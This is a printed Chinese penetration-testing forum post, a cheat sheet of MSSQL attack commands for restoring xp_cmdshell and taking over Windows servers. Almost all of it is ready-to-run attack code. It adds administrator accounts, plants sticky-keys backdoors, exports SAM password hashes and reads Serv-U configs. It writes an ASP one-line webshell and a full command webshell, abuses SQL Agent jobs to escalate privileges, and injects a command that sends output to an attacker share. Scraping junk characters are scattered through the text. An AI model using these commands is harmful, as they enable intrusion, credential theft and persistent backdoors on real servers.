中国网络渗透测试联盟

标题: XP_CMDSHELL恢复方法大全 [打印本页]

作者: admin    时间: 2012-9-15 14:37
标题: XP_CMDSHELL恢复方法大全
1 未能找到存储过程'master..xpcmdshell'.  EXEC master.dbo.sp_addextendedproc 后用下面的三种方法,在注入点上执行加个空格和;号. J. N$ ~! J/ R7 V5 k1 a( ?
恢复方法:查询分离器连接后,
3 J% ]* \6 c7 B, d第一步执行:EXEC sp_addextendedproc xp_cmdshell,@dllname ='xplog70.dll'declare @o int
* N+ ]# R9 y' ^% v4 m第二步执行:sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll' 1 q' K0 a4 o% M' E
然后按F5键命令执行完毕; p6 v0 r3 v: z+ L- {8 Z5 d1 U

# i& ^2 _8 o& d) S. U2 无法装载 DLL xpsql70.dll 或该DLL所引用的某一 DLL。原因126(找不到指定模块。)
, l/ R% i* X% C恢复方法:查询分离器连接后,
; u9 ?/ Y( S1 @6 Z) N第一步执行:EXEC master.dbo.sp_dropextendedproc "xp_cmdshell"
% J& A1 B. F: O  e第二步执行:EXEC master.dbo.sp_addextendedproc 'xp_cmdshell', 'xpsql70.dll'
  g& ]+ Y, b5 K  C! c8 D然后按F5键命令执行完毕
# K% {% k& N' s# F
$ h/ e. |! y7 G3 无法在库 xpweb70.dll 中找到函数 xp_cmdshell。原因: 127(找不到指定的程序。)/ ^/ x1 g: \$ |7 ~1 a
恢复方法:查询分离器连接后,6 u& F' s0 B$ ~2 `
第一步执行:exec sp_dropextendedproc 'xp_cmdshell'
! J9 _0 U7 _, \; z. R/ s; A第二步执行:exec sp_addextendedproc 'xp_cmdshell','xpweb70.dll'      
- O( O% z( l! y1 |- D然后按F5键命令执行完毕5 N. r7 y9 v! G7 A, Z! h, [) ^' @

! P  A$ C4 x) q' f2 I/ b: N4 终极方法.
+ L4 ?' N0 j+ C, S如果以上方法均不可恢复,请尝试用下面的办法直接添加帐户:
4 T- v; D- A6 g' l8 f7 y查询分离器连接后,
# d# O: C# M& m, a$ A( O. r" P2000servser系统:
, _( N% E% t# ?# v+ _declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net user 新用户 密码 /add'7 v- e! g3 Q+ t
3 f1 C0 Y# Q& _4 v) r
declare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\winnt\system32\cmd.exe /c net localgroup administrators 新用户 /add'3 D. ]" d. s* ^1 U+ R

; T, @1 j" R* b/ p# c0 qxp或2003server系统:
& t9 |5 H& g4 Y* W/ u, |
( c$ t) V2 m: U9 P4 Odeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net user 新用户 密码 /add'
* O- @' P5 f+ J  B
9 T7 L" M. @) c$ V5 K2 l' Y! Z, hdeclare @shell int exec sp_oacreate 'wscript.shell',@shell output exec sp_oamethod @shell,'run',null,'c:\windows\system32\cmd.exe /c net localgroup administrators 新用户 /add'
% B2 v2 W9 b$ u$ Q; _2 l4 _5 _5 k* ~, d; U' m8 Y1 O, i
' t* n% }; _3 s! x8 ?# N- @
五个SHIFT
- M! g/ f0 R% B. l+ r+ @, Udeclare @o int exec sp_oacreate 'scripting.filesystemobject', @o out exec sp_oamethod @o, 'copyfile',null,'c:\windows\explorer.exe' ,'c:\windows\system32\sethc.exe';* c% P- t! F3 ]1 J" F
! \" t8 a7 ?/ _* n) ^
declare @oo int exec sp_oacreate 'scripting.filesystemobject', @oo out exec sp_oamethod @oo, 'copyfile',null,'c:\windows\system32\sethc.exe' ,'c:\windows\system32\dllcache\sethc.exe';
2 A! ~3 h8 T3 P3 B& q) i& M/ X# L' h+ O- L% Y- R1 x
xp_cmdshell执行命令另一种方法, q( ~1 [$ Y" u8 D' F0 J+ ^
declare @a sysname set @a='xp_'+'cmdshell' exec @a 'net user refdom 123456 /add'
. s1 b# R% H, o! o6 ~# h  V7 ?) M+ c7 U& M  ~( _
判断存储扩展是否存在
, M7 J; {( S9 ySelect count(*) from master.dbo.sysobjects where xtype='X' and name='xp_cmdshell'
+ z% Q! z1 x4 K6 p9 W6 |; A" {返回结果为1就OK3 W! b: z! |) y

* P( X  i, Q9 c& u, T6 `. P+ K
3 e6 q0 i+ |$ B: Q上传xplog70.dll恢复xp_cmdshell语句:
$ k9 l: _4 e" j" i/ s$ usp_addextendedproc xp_cmdshell,@dllname='E:\newche2\about\XPLOG70.DLL'' [' W8 Q& e# n$ R! S+ R  y4 G

; m, S: C8 J$ Q6 j1 I3 T, r( G7 m否则上传xplog7.0.dll9 R  W* N) U: o' @6 b$ H5 z7 E
Exec master.dbo.addextendedproc 'xp_cmdshell','C:\WinNt\System32\xplog70.dll'
* c! U/ ^  a, E, B/ E7 u; Z1 y: Y0 w! e& ^; l1 W( P9 c

& k: b" O2 q( q0 }
5 M. q4 }. T8 _首先开启沙盘模式:2 M3 |0 Y5 L) }& }
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Jet\4.0\Engines','SandBoxMode','REG_DWORD',1
" d8 H0 d1 l1 \7 G, U- n/ p1 H. F
* ~5 F( U9 P9 X7 Z4 p4 O$ S然后利用jet.oledb执行系统命令
2 I, c) Z( C: n) rselect * from openrowset('microsoft.jet.oledb.4.0',';database=c:\winnt\system32\ias\ias.mdb','select shell("cmd.exe /c net user admin admin1234 /add")'), z: k9 d) O% |
返回 不能找到c:\windows\system32\ias\ias.mdb错误,用exec master..xp_dirtree 'c:\windows\system32\ias\ias',1,1--  发现c:\windows\system32\ias\ias.mdb没了,应该是被管理员删掉了,还有另一个mdb也没了, F8 k7 _2 ]6 t! D, {) B1 ?
* e" Y  X" E) h
1 V+ c! \2 v2 G! P( |3 Y* d

6 K5 f. J5 o  ^8 ?$ y+ c- z恢复过程sp_addextendedproc 如下:
/ \4 {" T; W) F: }, O# Lcreate procedure sp_addextendedproc --- 1996/08/30 20:13
, r0 X# w7 x2 i9 U. U@functname nvarchar(517),/* (owner.)name of function to call */ 7 b' @% N* L) \  e, o6 {# f8 p
@dllname varchar(255)/* name of DLL containing function */
/ A; `8 g; @. X* u* Has & ]: y6 A  q& O1 V# E9 X
set implicit_transactions off 7 E& |- I' i) T, h
if @@trancount > 0
2 F' |: d7 X- Q" @/ Ybegin & w$ A0 e% T1 ~& a/ `4 k& W0 g; ?5 V" x
raiserror(15002,-1,-1,'sp_addextendedproc')
  N/ b" z' l7 W* K/ T% zreturn (1)   v# x' z! M* n' W
end
5 f1 `7 c" O" e' x8 Idbcc addextendedproc( @functname, @dllname) & o& d0 [) B8 Y
return (0) -- sp_addextendedproc
, l* H+ I0 l5 R2 B+ R5 [GO
, Z% x/ h, W- u6 L' b( i6 `; G/ d! {% y1 v( z7 t/ Q

2 x* [3 H6 M5 C
% y; C3 I$ m! q# `' M导出管理员密码文件
" K$ H" n5 z0 [+ ]/ ^+ Q2 @) lsa默认可以读sam键.应该。
$ _2 E; g6 a3 ?4 greg export HKLM\SAM\SAM\Domains\Account\Users\000001F4 c:\old.reg
" W( j0 t+ A+ ~net user administrator test! F# p- ^% K3 x( h
用administrator登陆.! U' i4 V9 W- T  B
用完机器后, A" e& ~7 N" ^
reg import c:\test.reg. `4 A4 b2 U( ^
根本不用克隆.
6 s0 v2 |! C1 V; r找到对应的sid. + }5 S7 l$ v- B! v0 c# ], v4 n
4 G) o0 r4 w5 Z  L8 k

: V/ k% t; ?; K3 Z8 Y1 A# Q7 B! i
; z# W' A6 g  d. `+ ~' b/ x6 Y- n恢复所有存储过程
& v( U3 Y+ V( ]5 x! y  S9 Wuse master
: E2 Q8 I9 P7 pexec sp_addextendedproc xp_enumgroups,'xplog70.dll' $ Q; i" v# q5 A6 D5 a) w% V5 q6 v
exec sp_addextendedproc xp_fixeddrives,'xpstar.dll'
7 r) g7 k# a* pexec sp_addextendedproc xp_loginconfig,'xplog70.dll' 7 q$ F8 K$ G3 D7 c0 ?
exec sp_addextendedproc xp_enumerrorlogs,'xpstar.dll' + w; R2 j) b- n+ l* @) D7 x1 M
exec sp_addextendedproc xp_getfiledetails,'xpstar.dll'
1 h  F4 g, o2 b- H. d! e5 f  Nexec sp_addextendedproc sp_OACreate,'odsole70.dll' : E! n/ k$ ]  C8 [1 [
exec sp_addextendedproc sp_OADestroy,'odsole70.dll' 3 ]) L, t1 {' n3 D: e
exec sp_addextendedproc sp_OAGetErrorInfo,'odsole70.dll'
6 A7 r: Q+ B! m6 K9 Lexec sp_addextendedproc sp_OAGetProperty,'odsole70.dll' # S% N5 i' b0 _9 P
exec sp_addextendedproc sp_OAMethod,'odsole70.dll' 0 L4 ~; o3 y- v! ?& @+ p
exec sp_addextendedproc sp_OASetProperty,'odsole70.dll'
4 `# k" b* g7 ?. c0 Eexec sp_addextendedproc sp_OAStop,'odsole70.dll'
0 f3 @1 H$ j; ]exec sp_addextendedproc xp_regaddmultistring,'xpstar.dll'
, m8 O2 ?7 T' A$ v5 O; S  cexec sp_addextendedproc xp_regdeletekey,'xpstar.dll'
/ I6 L3 K7 O. E# }5 mexec sp_addextendedproc xp_regdeletevalue,'xpstar.dll' 7 U/ S8 n; G1 l
exec sp_addextendedproc xp_regenumvalues,'xpstar.dll'
* t3 l4 m' ?$ y9 ?exec sp_addextendedproc xp_regread,'xpstar.dll' - F* l* Q) q/ i
exec sp_addextendedproc xp_regremovemultistring,'xpstar.dll'
8 X) }2 I8 {* k9 R- ^exec sp_addextendedproc xp_regwrite,'xpstar.dll' 0 P! [  J3 r" z
exec sp_addextendedproc xp_availablemedia,'xpstar.dll'$ o- x5 O# }  h

2 ^9 F8 j' ?& |; K% p1 d5 s# Q5 G4 `4 s% g5 j9 T' Z' R, x- a5 g6 L  E
建立读文件的存储过程
# B( ]5 s% c: o# tCreate proc sp_readTextFile @filename sysname+ i5 P. ?$ _) }& J, r4 x4 Z
as1 q& @! o, Z7 R, L5 R

# ~- I5 K& N' g: t, b7 \0 P    begin
) c9 g2 ^9 y* [9 N+ R& l" Y    set nocount on 4 N. \  \; G4 a0 l- |; ~+ y
    Create table #tempfile (line varchar(8000)): A  G2 ?1 O/ Z$ r. d" `' H) f( ^
    exec ('bulk insert #tempfile from "' + @filename + '"')
2 o, j3 F5 s& w0 S! n5 I9 [    select * from #tempfile
# P8 \+ Q) _0 L* z7 v3 Z    drop table #tempfile
: |  o1 w$ w+ S! ]6 o" @5 [2 ?End8 ]% n! D( m4 s! B; Z( A6 o4 \. _
' `: [: N+ o9 V. U$ v
exec sp_readTextFile 'D:\testjun17\Teleweb-Japan\default.asp' 利用建立的存储过程读文件
2 `8 H0 Y. `. p4 A9 J% e查看登录用户
6 L' s! l5 W9 z6 l2 u5 O" ]Select * from sysxlogins( h. G" l# T0 Y( @
: q/ h  _, t% c4 `& t
把文件内容读取到表中
7 b& i2 y# p9 R( QBULK INSERT tmp from "c:\test.txt"8 I! w0 I/ B# B' G/ R
dElete from 表名 清理表里的内容
" k  b0 ^3 n0 U+ Mcreate table b_test(fn nvarchar(4000));建一个表,字段为fn
2 @% T5 q0 I) F  F' |% o
7 U9 f/ g5 K9 h8 _. J( C- o- _% ?# t$ C5 p. N. @, P8 r
加sa用户
! |" A2 e+ n4 t8 X6 `9 ^; Oexec master.dbo.sp_addlogin user,pass;5 ?7 T1 y) Q7 f
exec master.dbo.sp_addsrvrolemember user,sysadmin
: u, z. b; p9 J6 ^: }! ]4 c/ D. ^: g. f6 d, L3 s
* y2 @* S/ h6 K7 R3 Z
6 I4 E2 |' N) a' Y
读文件代码
7 C- k( Q2 @: {3 G1 ?5 h9 }# h! Ldeclare @o int, @f int, @t int, @ret int5 s$ U+ N% c& Y/ C9 n  c+ v6 W
declare @line varchar(8000)
/ {7 \* ~5 m1 ^- X' W' y: {exec sp_oacreate 'scripting.filesystemobject', @o out; g( \- E' H$ A1 t, T, t9 R
exec sp_oamethod @o, 'opentextfile', @f out, '文件名', 1
" a2 L7 q# f$ _! F# Iexec @ret = sp_oamethod @f, 'readline', @line out2 ^& s  }% C- \3 I
while( @ret = 0 )
3 W* B: F, o  Gbegin! B5 A( Y: {; Z5 ~" s
print @line3 n# }* z4 x) P; u' M
exec @ret = sp_oamethod @f, 'readline', @line out
1 e9 Q* b7 `4 I5 Q+ J, O+ bend% |+ X  r9 n) G$ E1 ^$ d

5 |8 |& T. C# |" m4 E3 U3 o; u
6 d  M6 j! c  ?: {写文件代码:
0 Z8 ?* O4 o. qdeclare @o int, @f int, @t int, @ret int
7 Z7 ~0 \+ c* Q7 w) [- zexec sp_oacreate 'scripting.filesystemobject', @o out# H$ X4 W# e& u9 T% U4 h0 z7 [+ Q
exec sp_oamethod @o, 'createtextfile', @f out, 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini', 1+ Y" U# f# k0 {0 u
exec @ret = sp_oamethod @f, 'writeline', NULL, 《内容》
6 a, x. e! T; f# G  X
+ S+ f9 ^( z$ t6 @9 P; _% T1 Y; M" s1 \7 E3 w+ |) f# l" h
添加lake2 shell6 x% M, N& i6 ], T! q/ E+ Z$ ?7 b
sp_addextendedproc 'xp_lake2', 'c:\recycler\xplake2.dll'
; D* M) A: v3 Z; H: S& `- Rsp_dropextendedproc xp_lake25 l3 A5 H% i( m) x; v
EXEC xp_lake2 'net user'
" ~! x9 \0 P, Q6 o/ g& E
5 m, i8 A( f, [
6 L! s/ z3 Z. ~得到硬盘文件信息
! E7 Z$ K' n4 c9 S. w--参数说明:目录名,目录深度,是否显示文件
. r2 ]6 H. R% `; B5 g" H: r- Xexecute master..xp_dirtree 'c:'
8 O% X9 w1 T1 \0 P& l! s3 z1 F" P* Mexecute master..xp_dirtree 'c:',1
& @% p5 k0 |, c; o0 @: qexecute master..xp_dirtree 'c:',1,1
/ O& s) l. v% V+ R; f$ r! N7 }. ?$ B0 r+ S- L5 I3 d

( w) p9 G0 P$ v% B* r1 W4 i读serv-u配置信息
2 I  ^" |! f4 Y. N6 T! iexec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ReadMe.txt'
1 _8 J5 ]0 C, x$ cexec sp_readTextFile 'd:\Program Files\RhinoSoft.com\Serv-U\ServUDaemon.ini'% r4 g8 x2 ^" w: o
5 b, [% A  E& L
通过xp_regwrite写SHIFT后门5 n$ E; i8 ^4 L/ O3 j$ m; `/ F
exec master..xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\sethc.exe','debugger','REG_sz','c:\windows\system32\cmd.exe on';--
% h# {, H/ b: g6 H( `
9 n% y2 n0 i! H) ~
' w" }( T7 {0 R! Y9 t! }5 F, G
6 r: n0 w: Y5 l. I3 [1 ~  v找到web路径然后用exec master.dbo.xp_subdirs 'd:\web\www.xx.com';
1 t+ Y- m5 u- q# m2 ]+ ]% a0 V4 Dexec sp_makewebtask 'd:\web\www.XXXX.com\XX.asp','select''<%execute(request("SB"))%>'' '备 份一个小马就可以了
( S0 C2 X$ T- f  D* D
" p; H! P$ l+ j& {( W# TEXECUTE sp_makewebtask @outputfile = ‘WEB绝对路径\导出的文件名.asp',@query = 'SELECT 你的字段 FROM 你建的临时表'
& y7 ?8 I* P; _9 O! X- y7 I9 R( ^: v2 t# G! k0 ^. w

7 s/ t+ @' e4 \+ R8 c* T* E
4 I% W2 N4 X1 M" o1 Ssql server 2005下开启xp_cmdshell的办法
7 ~' j0 b* x3 j: ?
- ]& @, x, @0 T# |9 ?EXEC sp_configure 'show advanced options', 1;RECONFIGURE;EXEC sp_configure 'xp_cmdshell', 1;RECONFIGURE;
1 T9 Z! @0 _0 \9 N7 v" I! p. _6 j; n
$ \9 E- e6 j$ [5 gSQL2005开启'OPENROWSET'支持的方法:
0 c7 A- }- e9 O% w0 G1 y9 b
8 \( t9 r; G! d  G- Yexec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ad Hoc Distributed Queries',1;RECONFIGURE;
7 P5 G& }* R: `9 _+ O' E. I3 v: a
/ M' v' k. A5 B! L# i8 }# uSQL2005开启'sp_oacreate'支持的方法:6 w. a1 x& ^5 a! {  x2 h8 O9 [% l
; V' C$ L! }+ o/ B, K
exec sp_configure 'show advanced options', 1;RECONFIGURE;exec sp_configure 'Ole Automation Procedures',1;RECONFIGURE;
8 X$ I2 t0 B7 _* b0 v* s* K3 |( h6 b" d- C; G) p% Y. F8 O

- V9 _1 o5 Z( n# g. |; K9 o
$ z/ _/ u1 w. [- G! u
/ o' k5 H9 l. ^( F0 ?7 I( R7 u' M3 t4 h+ a2 N, l, m/ P
4 s# e) l% d- H, x- E
3 y& G& {" \% @) p* p
# ]# J1 _6 D, I3 ]
0 @0 c9 K5 J" Y

0 w( h) F( S' ]
8 n# Z. W$ E# U
+ u4 o) p& P8 v& S0 N, c' s( z2 e
7 m* A* Q' Y% O" F+ \8 x6 N" C( Z3 O1 L3 \9 A
. \- g  t% F+ s8 @
2 r8 F/ l; q' O9 L" u6 I7 @

' ]& O  c, i( I! C* a8 y. `6 Z* M; E6 s
. |+ G; V$ q1 S1 ~3 _

0 G/ n! [( K; c( A" n$ w4 p  r- C5 B2 H* u6 S
5 q' O# S. |8 ?7 l. v
$ w# A$ ]5 N5 i2 I

! }. I9 ?: H1 y; H7 x以下方面不知道能不能成功暂且留下研究哈:
% j; m. G1 b% x) r& {) s  v6 W$ H4 u4)+ I5 K6 d; X, C$ F) h
use msdb; --这儿不要是master哟* |( J) B% S! ^
exec sp_add_job @job_name= czy82 ;
8 H2 c% p. E9 _exec sp_add_jobstep @job_name= czy82 ,@step_name = Exec my sql ,@subsystem= CMDEXEC ,@command= dir c:\>c:\b.txt ;
9 `) B/ x3 N( c$ K. _exec sp_add_jobserver @job_name = czy82 ,@server_name = smscomputer ;
7 z8 a, a& b* U" e2 X) U" N1 kexec sp_start_job @job_name= czy82 ;! B* m. K* u2 ^5 ?! n

. m9 f, |3 U5 D# I利用MSSQL的作业处理也是可以执行命令的而且如果上面的subsystem的参数是tsql,后面的我们就可以" x! y" s/ @2 R0 ?) T- y5 |
执行tsql语句了.
0 P% Y8 q4 g" N7 Q1 f6 G: D对于这几个储存过程的使用第一在@server_name我们要指定你的sql的服务器名( A+ u# Z- ~1 N# n. t5 i& O2 u4 O
第二系统的sqlserveragent服务必须打开(默认没打开的气人了吧)
$ C$ u  ~4 N& qnet start SQLSERVERAGENT2 o0 ]! S4 a% y% ]+ b) D
: x6 G  a! Z8 t( F) n' H
对于这个东东还有一个地方不同就是public也可以执行..同这儿也是有系统洞洞的看下面的
* [1 K  P8 c( qUSE msdb
% n  _% P9 |/ k& V6 c7 B5 c) _# ?' @EXEC sp_add_job @job_name = GetSystemOnSQL ,
1 _0 r- E% H1 Q/ T% [* `@enabled = 1,
2 R7 ]: ~' J1 Z: w% K9 Z) r@description = This will give a low privileged user access to
+ _5 u; M2 Q9 I3 I- fxp_cmdshell ,
# q  r. j4 r, F@delete_level = 1- [+ w: I. N* C( L- V) L, \5 \/ ^
EXEC sp_add_jobstep @job_name = GetSystemOnSQL ,
! P$ y1 ^# i0 V5 j3 C@step_name = Exec my sql ,5 c9 W6 c) C9 J/ W1 E8 p
@subsystem = TSQL ,
! x- F% U4 D5 ?$ W@command = exec master..xp_execresultset N select exec9 a2 W) d* ?/ y! g2 Y
master..xp_cmdshell "dir > c:\agent-job-results.txt" ,N Master 0 Q2 u2 _1 i; X( c
EXEC sp_add_jobserver @job_name = GetSystemOnSQL ,' V  K; Z$ r% Q! c- X, j
@server_name = 你的SQL的服务器名
3 {0 r4 b% B0 z' ^EXEC sp_start_job @job_name = GetSystemOnSQL
* p, v2 U7 [$ Q( [
. Q3 ]5 k& J* U9 j- A- _不要怀疑上面的代码,我是测试成功了的!这儿我们要注意xp_execresultset就是因为它所以1 o. d% w/ f' V6 G. Y' D$ B
才让我们可以以public执行xp_cmdshell& B; F6 v8 @6 b0 i# ^- f6 _5 X
+ v* ^+ {/ A: p/ d9 p  Q
5)关于Microsoft SQL Agent Jobs任意文件可删除覆盖漏洞(public用户也可以)
0 d4 B( |6 [* \3 \在安焦有文章:http://www.xfocus.net/vuln/vul_view.php?vul_id=2968, F5 @2 G5 w; @* v9 L
& S* m" ~+ V0 Z6 v" ^, W2 I
USE msdb
: k! c' }$ ~7 L6 e- Z$ X. `EXEC sp_add_job @job_name = ArbitraryFilecreate ,
+ L3 U0 a0 l/ a2 _' Q5 n. ~* H@enabled = 1,
: V$ r: c2 q) L+ {0 B7 T@description = This will create a file called c:\sqlafc123.txt ,
6 P" a; g5 K. x; V4 _@delete_level = 1
; C4 Z0 g% \4 s$ JEXEC sp_add_jobstep @job_name = ArbitraryFilecreate ,
* }. H) D( k" ]9 e! @, K3 n7 z) s@step_name = SQLAFC ,
4 q% ]! d7 F7 W! x@subsystem = TSQL ,. C, L+ w! a7 Z3 b# A% @$ O
@command = select hello, this file was created by the SQL Agent. ,
# W: I9 a1 Z( Q/ Y5 t; ~@output_file_name = c:\sqlafc123.txt ( r4 c0 }8 g$ m( D) M$ }
EXEC sp_add_jobserver @job_name = ArbitraryFilecreate ,% Z) k- l+ b# f7 l7 x3 Y
@server_name = SERVER_NAME : q; ?, F/ _8 g& J. Y, L8 n
EXEC sp_start_job @job_name = ArbitraryFilecreate 3 e2 D. Z, Q* z* X+ \- p
/ h* I% `( M; `8 g
如果subsystem选的是:tsql,在生成的文件的头部有如下内容
& P9 Q2 h# C) r4 B. P- U
$ n) T; L: |8 b  [* O2 {! m??揂rbitraryFilecreate? ? 1 ?,揝QLAFC? ???? 2003-02-07 18:24:195 b5 S: }4 ]8 R! k- _7 `' P
----------------------------------------------* y$ |0 Q9 A7 Y2 j3 R0 I3 h& Y
hello, this file was created by the SQL Agent.# o0 X- ~2 S, X" i7 C% S1 V
( `  l* h' m2 Z6 f  I! \& W
(1 ?????)% m% I: U3 x( H  K5 b9 L, w
6 y; M+ h; c+ u) d
所以我建议要生成文件最好subsystem选cmdexec,如果利用得好我们可以写一个有添加管理员
3 }* T( Q8 z$ m& o命令的vbs文件到启动目录!1 q$ ~$ H$ I# \: }1 Y4 l3 G

6 C* d+ [; y# j$ S1 V: P  |6)关于sp_makewebtask(可以写任意内容任意文件名的文件)! s0 ?1 S, K' L) r2 C7 n! P0 n
关于sp_MScopyscriptfile 看下面的例子$ s1 I5 Y9 S5 ?1 ~7 S/ W
declare @command varchar(100)
; n- _7 t/ {8 i) b( Ddeclare @scripfile varchar(200) 3 B/ T9 G: i+ w/ z& h
set concat_null_yields_null off
: I4 J  ]2 l1 t2 k+ J6 J3 [! W+ l& Fselect @command= dir c:\ > "\\attackerip\share\dir.txt"   V0 b) g4 U( l2 [
select @scripfile= c:\autoexec.bat > nul" | @command | rd "
' M5 v1 G# Z# T3 _$ X3 Cexec sp_MScopyscriptfile @scripfile ,
4 ?! C8 l/ I! R& r# t. z
+ C2 ?$ D1 w7 n9 ?这两个东东都还在测试试哟
9 Q0 O1 n9 ~2 \( q0 a1 Y) w让MSSQL的public用户得到一个本机的web shell3 v& c) p6 l* K) `' i. }
' m" U$ O2 h. _2 r* C& J
sp_makewebtask @outputfile= d:\sms\a.asp ,@charset=gb2312,
5 _) t. A% ]' C7 b& Q! L) j--@query= select <img src=vbscript:msgbox(now())>
4 h. F; V( A3 C--@query= select <%response.write request.servervariables("APPL_PHYSICAL_PATH")%>
- ~9 o5 U# E$ ?- {@query= select
; Q$ H9 P( u( z7 `<%On Error Resume Next 2 q0 H8 C  Q5 X# M1 [, U
Set oscript = Server.createObject("wscript.SHELL")
- ]( W9 T2 i# c' f5 wSet oscriptNet = Server.createObject("wscript.NETWORK") * |7 \: Y- D" w  D! I- S& G* U
Set oFileSys = Server.createObject("scripting.FileSystemObject")
9 ~. n7 X/ F4 D% m# v( V* ?; x8 kszCMD = Request.Form(".CMD") 2 J7 x1 n4 W( y+ Y  u  n0 L- _
If (szCMD <>"")Then 2 b) v0 I/ z8 w. v& ?. ?+ a
szTempFile = "C:\" & oFileSys.GetTempName()
& k. B9 n$ `8 H3 `$ t# x6 V1 ?# SCall oscript.Run ("cmd.exe /c " & szCMD & " > " & szTempFile, 0, True) ) j+ Q+ M$ T% C% \1 O3 k5 o
Set oFile = oFilesys.OpenTextFile (szTempFile, 1, False, 0) , H5 O! Q" O1 t) K9 n; K
End If %> ( l9 l2 {+ _. P/ ]8 |5 I% R" z
<HTML><BODY><FORM action="<%= Request.ServerVariables("URL")%>" method="OST"> 2 \/ c/ f' }8 j# E# O/ K3 k
<input type=text name=".CMD" size=45 value="<%= szCMD %>"><input type=submit value="Run">
( \8 \, W+ c* ^$ D8 `# X/ ]- u' f</FORM><RE>
/ t: @4 Z* O0 n9 d# F( w+ `6 A<% If (IsObject(oFile))Then
& p. F3 c+ G( a' s' ~On Error Resume Next
5 {+ q, R4 M1 s8 d1 dResponse.Write Server.HTMLEncode(oFile.ReadAll) . Y7 k' p; D5 x2 f+ Q. H: S/ e
oFile.Close - y7 I3 c" n- A7 Z
Call oFileSys.deleteFile(szTempFile, True)
8 z# B0 G$ T+ ?1 o+ WEnd If%>
, \; d! [5 W8 m. k</BODY></HTML>
& C$ `8 p6 Z$ l4 n




欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/) Powered by Discuz! X3.2